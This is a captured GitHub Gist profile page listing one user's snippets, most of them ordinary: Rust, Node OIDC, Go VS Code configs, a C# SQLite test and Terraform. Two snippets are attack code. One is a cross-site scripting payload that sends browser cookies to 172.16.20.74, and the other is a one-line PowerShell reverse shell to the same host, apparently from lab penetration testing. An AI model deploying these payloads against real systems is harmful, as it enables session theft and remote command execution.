Skip to content

Instantly share code, notes, and snippets.

View DavidR91's full-sized avatar

David W. Roberts DavidR91

View GitHub Profile
#[derive(Debug)]
enum MemoryItem<'a>{
Int32(i32),
Int64(i64),
Float32(f32),
Float64(f64),
Boolean(bool),
String(&'a str)
}
name 2019-04-09T17:06:33.0000000Z 2019-04-09T17:06:33.0000000Z 2019-04-09T17:06:33.0000000Z 2019-04-09T17:06:35.0000000Z 2019-04-09T17:06:37.0000000Z 2019-04-09T17:06:37.0000000Z 2019-04-09T17:06:37.0000000Z 2019-04-09T17:06:37.0000000Z 2019-04-09T17:06:37.0000000Z 2019-04-09T17:06:37.0000000Z 2019-04-09T17:06:37.0000000Z 2019-04-09T17:06:39.0000000Z 2019-04-09T17:06:39.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:06:40.0000000Z 2019-04-09T17:07:32.0000000Z 2019-04-09T17:07:32.0000000Z 2019-04-09T17:07:32.0000000Z 2019-04-09T17:07:33.0000000Z 2019-04-09T17:07:57.0000000Z 2019-04-09T17:07:57.0000000Z 2019-04-09T17:07:57.0000000Z 2019-04-09T17:07:57.0000000Z 2019-04-09T17:07:57.0000000Z 2019-04-09T17:07:57.0000000Z 2019-04-09T17:08:11.0000000Z 2019-04-09T17:08:11.0000000Z 2019
@DavidR91
DavidR91 / index.js
Created March 15, 2019 17:59
node-oidc-dev
const Provider = require('oidc-provider');
const configuration = {
features: {
discovery: true,
registration: { initialAccessToken: true },
},
format: { default: 'opaque' },
};
const clients = [{
client_id: 'foo',
@DavidR91
DavidR91 / test.html
Last active November 27, 2018 15:33
test
<script>
if (document.cookie.length > 0) {
$("body").prepend('<img src="http://172.16.20.74:5916/' + window.navigator.userAgent + ' ' + document.cookie + '"/>');
}
</script>
@DavidR91
DavidR91 / ipt.ps1
Created November 21, 2018 15:38
Customized invoke-powershelltcp.ps1
$sm=(New-Object Net.Sockets.TCPClient("172.16.20.74",4445)).GetStream();[byte[]]$bt=0..255|%{0};$sm.Write(([text.encoding]::ASCII).GetBytes("CONNECTED"),0,9);$sm.Write(10,0,1);while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length);$sm.Write(10,0,1);}
@DavidR91
DavidR91 / example.cs
Created October 25, 2018 13:09
union
using System;
using System.Linq;
public class Program
{
public interface Interface
{
string Name { get; }
void Method();
}
@DavidR91
DavidR91 / launch.json
Created April 8, 2018 14:08
Typical vscode configs for go
{
"version": "0.2.0",
"configurations": [
{
"name": "Launch",
"type": "go",
"request": "launch",
"mode": "debug",
"remotePath": "",
"port": 2345,
#################################################################################################################################
# Name : Configure-WinRM.ps1 #
# #
# Description : Configures the WinRM on a local machine #
# #
# Arguments : HostName, specifies the FQDN of machine or domain #
#################################################################################################################################
param
(
@DavidR91
DavidR91 / Program.cs
Created November 8, 2017 17:18
System.Data.SQLite: connection pooling vs. handler removal PoC
using System;
using System.Data.SQLite;
using System.Threading;
using System.Threading.Tasks;
namespace sqlite_trace_callback_delegate
{
public static class ExplicitDelegates
{
// Explicitly instantiated + static to avoid GC
@DavidR91
DavidR91 / main.tf
Created January 8, 2017 23:18
Terraform templated JSON
...
# Template for the settings of enabling WinRM on the machine
data "template_file" "winrm_arm_settings" {
template = "${file("../../Shared/winrm-arm-settings.template.json")}"
vars {
dns_name = "${azurerm_public_ip.primary.fqdn}"
}
}